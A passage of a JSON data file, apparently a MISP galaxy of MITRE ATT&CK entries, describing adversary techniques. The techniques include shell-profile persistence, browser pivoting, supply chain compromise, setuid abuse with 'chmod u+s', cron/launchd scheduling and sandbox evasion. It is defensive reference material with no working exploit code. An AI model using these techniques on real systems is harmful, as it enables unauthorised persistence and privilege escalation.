"description": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",
"meta": {
"external_id": "T1156",
"refs": [
"https://attack.mitre.org/techniques/T1156",
"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
]
},
"related": [
{
"dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
"value": "Malicious Shell Modification - T1156"
},
{
"description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
"meta": {
"external_id": "T1185",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1185",
"https://cobaltstrike.com/downloads/csmanual38.pdf",
"https://en.wikipedia.org/wiki/Man-in-the-browser",
"https://www.cobaltstrike.com/help-browser-pivoting",
"https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
]
},
"uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
"value": "Browser Session Hijacking - T1185"
},
{
"description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)",
"meta": {
"external_id": "CAPEC-439",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1195",
"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
"https://capec.mitre.org/data/definitions/437.html",
"https://capec.mitre.org/data/definitions/438.html",
"https://capec.mitre.org/data/definitions/439.html",
"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
"https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E",
"https://www.commandfive.com/papers/C5_APT_SKHack.pdf",
"https://www.se.com/ww/en/download/document/SESN-2018-236-01/",
"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
]
},
"uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
"value": "Supply Chain Compromise - T1195"
},
{
"description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).",
"meta": {
"external_id": "T1166",
"refs": [
"http://man7.org/linux/man-pages/man2/setuid.2.html",
"https://attack.mitre.org/techniques/T1166",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
"value": "Setuid and Setgid - T1166"
},
{
"description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.",
"meta": {
"external_id": "T1168",
"refs": [
"http://www.thesafemac.com/new-signed-malware-called-janicab/",
"https://attack.mitre.org/techniques/T1168",
"https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
"https://linux.die.net/man/1/at",
"https://linux.die.net/man/5/crontab",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8",
"value": "Local Job Scheduling - T1168"
},
{
"description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
"meta": {
"external_id": "T1196",
"refs": [
"https://attack.mitre.org/techniques/T1196",
"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
]
},
"related": [
{
"dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "8df54627-376c-487c-a09c-7d2b5620f56e",
"value": "Control Panel Items - T1196"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352).\n\nCommand and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)",
"meta": {
"external_id": "T1352",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1352"
]
},
"uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336",
"value": "C2 protocol development - T1352"
},
{
"description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
"meta": {
"external_id": "T1223",
"refs": [
"https://attack.mitre.org/techniques/T1223",
"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk",
"https://msdn.microsoft.com/windows/desktop/ms524405",
"https://msdn.microsoft.com/windows/desktop/ms644670",
"https://msitpros.com/?p=3909",
"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
]
},
"related": [
{
"dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a",
"value": "Compiled HTML File - T1223"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232).\n\nImplementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)",
"meta": {
"external_id": "T1232",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1232"
]
},
"uuid": "b355817c-cf63-43b4-94a4-05e9645fa910",
"value": "Create implementation plan - T1232"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242).\n\nIf going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",
"meta": {
"external_id": "T1242",
"kill_chain": [
"mitre-pre-attack:target-selection"
],
"refs": [
"https://attack.mitre.org/techniques/T1242"
]
},
"uuid": "c860af4a-376e-46d7-afbf-262c41012227",
"value": "Determine operational element - T1242"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225).\n\nLeadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)",
"meta": {
"external_id": "T1225",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1225"
]
},
"uuid": "d778cb83-2292-4995-b006-d38f52bc1e64",
"value": "Identify gap areas - T1225"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252).\n\nA network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)",
"meta": {
"external_id": "T1252",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1252"
]
},
"uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d",
"value": "Map network topology - T1252"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262).\n\nClient configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)",
"meta": {
"external_id": "T1262",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1262"
]
},
"uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090",
"value": "Enumerate client configurations - T1262"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272).\n\nBusiness relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)",
"meta": {
"external_id": "T1272",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1272"
]
},
"related": [
{
"dest-uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549",
"value": "Identify business relationships - T1272"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282).\n\nPhysical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1282",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1282"
]
},
"uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d",
"value": "Determine physical locations - T1282"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292).\n\nAn adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)",
"meta": {
"external_id": "T1292",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1292"
]
},
"uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6",
"value": "Test signature detection - T1292"
},
{
"description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.",
"meta": {
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1432",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
"related": [],
"uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce",
"value": "Access Contact List - T1432"
},
{
"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).",
"meta": {
"external_id": "T1423",
"kill_chain": [
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1423"
]
},
"uuid": "2de38279-043e-47e8-aaad-1b07af6d0790",
"value": "Network Service Scanning - T1423"
},
{
"description": "Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. \nAdversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)\n",
"meta": {
"external_id": "T1523",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/",
"https://attack.mitre.org/techniques/T1523",
"https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html",
"https://github.com/strazzere/anti-emulator",
"https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/",
"https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/",
"https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html"
]
},
"related": [],
"uuid": "786f488c-cb1f-4602-89c5-86d982ee326b",
"value": "Evade Analysis Environment - T1523"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253).\n\nPassive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)",
"meta": {
"external_id": "T1253",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1253"
]
},
"uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c",
"value": "Conduct passive scanning - T1253"
},
{
"description": "**This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).**\n\nA technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)",
"meta": {
"external_id": "T1325",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1325",
"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref",
"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
]
},
"uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30",
"value": "Fast Flux DNS - T1325"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).\n\nDomain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)",
"meta": {
"external_id": "T1326",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1326",
"https://www.icann.org/groups/ssac/documents/sac-007-en"
]
},
"uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a",
"value": "Domain registration hijacking - T1326"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273).\n\nAn adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1273",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1273"
]
},
"uuid": "695b1cce-57d7-49ae-a2af-820d50153f12",
"value": "Mine social media - T1273"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328).\n\nDomain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)",
"meta": {
"external_id": "T1328",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1328"
]
},
"uuid": "45242287-2964-4a3e-9373-159fad4d8195",
"value": "Buy domain name - T1328"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283).\n\nBusiness relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)",
"meta": {
"external_id": "T1283",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1283"
]
},
"related": [
{
"dest-uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
"value": "Identify business relationships - T1283"
},
{
"description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1442",
"refs": [
"https://attack.mitre.org/techniques/T1442"
]
},
"related": [
{
"dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9",
"value": "Fake Developer Accounts - T1442"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254).\n\nActive scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1254",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1254"
]
},
"uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726",
"value": "Conduct active scanning - T1254"
},
{
"description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build)\n\nOn iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)",
"meta": {
"external_id": "T1426",
"kill_chain": [
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on",
"https://attack.mitre.org/techniques/T1426",
"https://developer.android.com/reference/android/os/Build"
]
},
"uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77",
"value": "System Information Discovery - T1426"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)",
"meta": {
"external_id": "T1246",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1246"
]
},
"related": [
{
"dest-uuid": "59369f72-3005-4e54-9095-3d00efcece73",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "78e41091-d10d-4001-b202-89612892b6ff",
"value": "Identify supply chains - T1246"
},
{
